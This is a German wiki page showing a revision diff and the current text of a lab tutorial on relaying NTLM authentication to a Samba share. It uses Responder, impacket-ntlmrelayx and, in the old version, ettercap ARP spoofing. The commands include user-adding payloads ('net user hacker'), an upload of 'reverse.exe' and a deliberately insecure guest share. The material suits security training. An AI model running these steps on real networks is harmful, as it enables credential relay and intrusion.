NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
= ARP-Spoofing & NTLMv2-Relay gegen SMB-Zielserver =
+
= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =
  
== Zielsetzung ==
+
== Ziel ==
Ein Windows-10-Client (10.0.10.102) wird per ARP-Spoofing in einen Man-in-the-Middle gebracht.
+
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
Anschließend wird mittels LLMNR/NBNS-Spoofing durch Responder ein NTLMv2-Hash abgefangen und mit ntlmrelayx an einen Samba-Server (10.0.10.104) weitergeleitet, um dort eine Datei hochzuladen.
+
* SMB-Zugriff auf die Samba-Freigabe möglich ist
 +
* Eine Datei in die Freigabe hochgeladen werden kann
  
== Umgebung ==
+
== Voraussetzungen ==
{| class="wikitable"
+
* Angreifer: Kali Linux mit impacket & responder
! System !! IP-Adresse !! Rolle
+
* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
|-
+
* Ziel: Linux mit Samba (z. B. 10.0.10.104)
| Kali Linux || 10.0.10.101 || Angreifer (ettercap, responder, ntlmrelayx)
+
* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
|-
 
| Windows 10 || 10.0.10.102 || Opfer (NTLM-fähig, ungehärtet)
 
|-
 
| Samba-Server || 10.0.10.104 || Relay-Ziel (kein SMB Signing aktiviert)
 
|}
 
  
== Vorbereitung auf Kali (10.0.10.101) ==
+
== 1. Samba-Ziel vorbereiten ==
* Relay-Share vorbereiten:
 
mkdir -p ~/relay-share
 
echo "Owned by Kali" > ~/relay-share/pwned.txt
 
  
* Responder konfigurieren:
+
*Samba konfigurieren:*
nano /etc/responder/Responder.conf
+
<pre>
 +
[global]
 +
  workgroup = WORKGROUP
 +
  server role = standalone server
 +
  passdb backend = tdbsam
 +
  map to guest = Bad User
 +
  guest account = nobody
  
* Abschnitt [SMB] ändern:
+
[share]
[SMB]
+
  comment = Relayziel
SMB = Off
+
  path = /mnt/media/share
 +
  read only = no
 +
  guest ok = yes
 +
  public = yes
 +
  browseable = yes
 +
  force user = nobody
 +
  force group = nogroup
 +
</pre>
  
* Damit Responder nicht selbst den SMB-Port (445) blockiert – sonst funktioniert ntlmrelayx nicht!
+
*Verzeichnis vorbereiten:*
 +
mkdir -p /mnt/media/share
 +
chown nobody:nogroup /mnt/media/share
 +
chmod 777 /mnt/media/share
  
== Angriffsdurchführung auf Kali (10.0.10.101) ==
+
*Dienst neustarten:*
=== ARP-Spoofing zwischen Opfer und Zielserver ===
+
  systemctl restart smbd
  ettercap -Tq -i eth0 -M arp /10.0.10.102// /10.0.10.104//
 
  
=== Responder starten (nur als Spoofer) ===
+
== 2. Responder starten (Poisoning-Komponente) ==
responder -I eth0 -w
 
  
=== ntlmrelayx starten ===
+
  responder -I eth0
  impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support --no-http-server --no-wcf-server --no-raw-server -r relay-share
 
  
== Aktion auf dem Windows-Client (10.0.10.102) ==
+
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
* Windows Explorer öffnen und folgendes eingeben:
 
  \\irgendwas\test
 
  
ODER:
+
== 3. ntlmrelayx vorbereiten ==
  
* In der Eingabeaufforderung:
+
*Mit interaktiver SMB-Shell starten:*
  dir \\irgendeinserver\c$
+
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
  
== Ergebnis ==
+
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
* Die Datei „pwned.txt“ wird über ntlmrelayx auf dem Samba-Share (10.0.10.104) abgelegt.
+
 
* In ntlmrelayx erscheint:
+
== 4. Angriff auslösen ==
  [*] SMB relay attack successful...
+
 
  [*] Uploaded file pwned.txt to share
+
*Auf dem Windows-Opfer:* 
 +
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
 +
 
 +
\\irgendwas
 +
 
 +
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
 +
 
 +
== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe ==
 +
 
 +
Nach erfolgreichem Relay erscheint:
 +
<pre>
 +
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
 +
[+] Opening SMB relay connection
 +
[!] Interactive shell opened
 +
smb>
 +
</pre>
 +
 
 +
*Dort kann man z. B. eine Datei hochladen:*
 +
upload /tmp/reverse.exe
 +
 
 +
== 6. Erfolg prüfen ==
 +
 
 +
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
 +
ls -l /mnt/media/share
 +
 
 +
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
 +
 
 +
== Zusammenfassung ==
 +
| Komponente | Aufgabe |
 +
|------------|---------|
 +
| responder  | Vergiftung von Namensauflösung |
 +
| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
 +
| Samba      | akzeptiert relayed Authentifizierung als Gast |
 +
| Ziel      | Datei auf Samba-Freigabe schreiben |
  
 
== Hinweise ==
 
== Hinweise ==
* Kein IP-Forwarding notwendig Ettercap leitet Layer 2 Pakete direkt weiter.
+
* Wird der relayed Benutzer nicht akzeptiert, hilft:
* SMB muss in Responder deaktiviert werden, sonst blockiert er Port 445.
+
** map to guest = Always
* ntlmrelayx kann alternativ Kommandos ausführen:
+
* Ohne Schreibrechte bringt der Zugriff wenig Ziel so konfigurieren, dass write möglich ist
  --command "net user hacker 1234 /add"
+
* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
  --command "cmd.exe /c echo PWNED > C:\pwned.txt"
+
 
 +
== Quellen ==
 +
* https://github.com/fortra/impacket
 +
* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share

Version vom 18. Mai 2025, 12:43 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)

Ziel

Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:

  • SMB-Zugriff auf die Samba-Freigabe möglich ist
  • Eine Datei in die Freigabe hochgeladen werden kann

Voraussetzungen

  • Angreifer: Kali Linux mit impacket & responder
  • Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba (z. B. 10.0.10.104)
  • Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share

1. Samba-Ziel vorbereiten

  • Samba konfigurieren:*
[global]
   workgroup = WORKGROUP
   server role = standalone server
   passdb backend = tdbsam
   map to guest = Bad User
   guest account = nobody

[share]
   comment = Relayziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup
  • Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
  • Dienst neustarten:*
systemctl restart smbd

2. Responder starten (Poisoning-Komponente)

responder -I eth0

→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)

3. ntlmrelayx vorbereiten

  • Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay

4. Angriff auslösen

  • Auf dem Windows-Opfer:*

Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):

\\irgendwas

→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter

5. Ergebnis: Interaktive Shell auf Samba-Freigabe

Nach erfolgreichem Relay erscheint:

[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
[+] Opening SMB relay connection
[!] Interactive shell opened
smb>
  • Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe

6. Erfolg prüfen

Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:

ls -l /mnt/media/share

→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen

Zusammenfassung

| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |

Hinweise

  • Wird der relayed Benutzer nicht akzeptiert, hilft:
    • map to guest = Always
  • Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
  • Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)

Quellen